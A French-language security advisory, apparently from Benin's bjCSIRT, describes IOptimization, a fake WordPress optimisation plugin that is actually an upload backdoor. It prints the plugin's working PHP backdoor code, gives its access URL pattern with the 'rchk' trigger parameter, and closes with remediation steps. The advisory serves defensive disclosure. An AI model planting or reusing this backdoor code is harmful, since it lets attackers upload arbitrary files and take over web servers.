Le bjCSIRT dans sa mission de surveillance du cyber-espace béninois a découvert un plugin WordPress malicieux nommé IOptimization affectant un certain nombre de sites web dans le cyber-espace africain.
IOptimization est un plugin WordPress qui comme le suggère son nom servirait à optimiser les sites WordPress sur lesquels il est installé. Il se présente en une archive ZIP qui contient deux fichiers PHP nommés « index.php » et « IOptimize.php ». Il a été découvert courant Février 2020 mais il aurait été mis en circulation bien avant, soit en novembre 2019.
En réalité, aucune réelle tâche d’optimisation n’est faite par ce plugin; à contrario il contient du code malicieux. L’analyse dudit code confirme l’appartenance de ce plugin à la catégorie des portes dérobées de téléversement. C’est une classe de portes dérobées qui existe pour permettre le téléversement de fichiers sur le serveur du site sur lequel ils sont présents. Une fois envoyé sur un site victime, ce type de porte dérobée permettra à l’attaquant qui l’exploite de téléverser, sans restriction, des fichiers de nature malicieuse pour la plupart. Les fichiers téléversés dans ce genre de scénarii sont de nature et d’impacts très variés, et peuvent entraîner , notamment l’exécution de code à distance (RCE) voire une compromission totale du serveur hébergeant le site victime, et par ricochet, la mainmise sur d’autres éventuels sites présents sur le même serveur.
Le code malicieux permettant le téléversement de fichiers est contenu dans le fichier IOptimize.php et se présente comme suit:
if (isset($_GET['rchk'])) { echo "ioptimization"; $cwd = getcwd() . "/"; if (isset($_FILES["userfile"]["name"])) { $uploadfile = $_POST["l"] . basename($_FILES["userfile"]["name"]); if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) { echo "Upload!\n"; } else { echo "Failed!"; } echo $_POST["l"] . "\n"; print_r($_FILES); if ($_FILES["userfile"]["error"] == 0) { echo "<br><a href=\"{$_FILES["userfile"]["name"]}\" TARGET=_BLANK>{$_FILES["userfile"]["name"]}</a><br>"; } } echo "<form enctype=\"multipart/form-data\" action=\"\" method=\"POST\"><input type=\"text\" name=\"l\" value=\"$cwd\" style=\"width: 700px;\"><br><input name=\"userfile\" type=\"file\"><input type=\"submit\" value=\"Upload\">"; }
Ce code a pour rôle de présenter, à un potentiel attaquant, un formulaire de téléversement et précise le chemin absolu du répertoire dans lequel il se trouve présentement. Le formulaire de téléversement n’est affiché que lorsque la requête de l’attaquant contient le paramètre GET « rchk » . Il s’agit certainement d’une mesure de sécurité mise en place pour ne permettre l’exploitation du plugin malveillant qu’aux personnes avisées. Si cette condition est remplie, une page similaire à celle ci dessous s’affiche:
Fig1: Formulaire permettant le téléversement de fichiers sur le site
Après une étude minutieuse des cas d’infections relevés dans le cyber-espace béninois, nous sommes venus à la conclusion que l’installation de ce plugin est réalisée par un attaquant suite à une compromission de l’espace d’administration WordPress du site ou par l’exploitation d’un zéro day autorisant l’accès au panneau d’administration WordPress. L’installation du plugin est fait par téléversement de l’archive ZIP « ioptimization.zip » contenant le script PHP malicieux. Il est tout aussi possible que le plugin se trouve sur certains sites sans qu’un attaquant l’y ait personnellement téléversé; ce peut être par exemple via une copie de fichiers d’un site WordPress infecté vers un autre. Une fois installé, le plugin est accessible dans le répertoire /wp-content
/plugins
/ioptimization
/ du site. Considérant le site WordPress www.monsite.com, le programme malveillant sera donc exploitable à l’URL https://www.monsite.com/wp-content
/plugins
/ioptimization
/IOptimize.php?rchk=1 par exemple.
Vu l’impact potentiel de ce plugin malveillant sur les sites affectés, il convient de prendre les mesures idoines, à savoir la suppression pure et simple du plugin. Le bjCSIRT recommande donc fortement à tous les webmasters de vérifier la présence de ce plugin sur leurs sites WordPress. Additionnellement, il faudra entreprendre une analyse minutieuse des logs, fichiers du serveur à la recherche d’éventuelles traces pouvant révéler la présence d’un attaquant. Il faudra aussi modifier les différents identifiants et mots de passe d’accès liés au site affecté et procéder à l’installation d’un plugin de sécurité WordPress vérifié tel que Wordfence.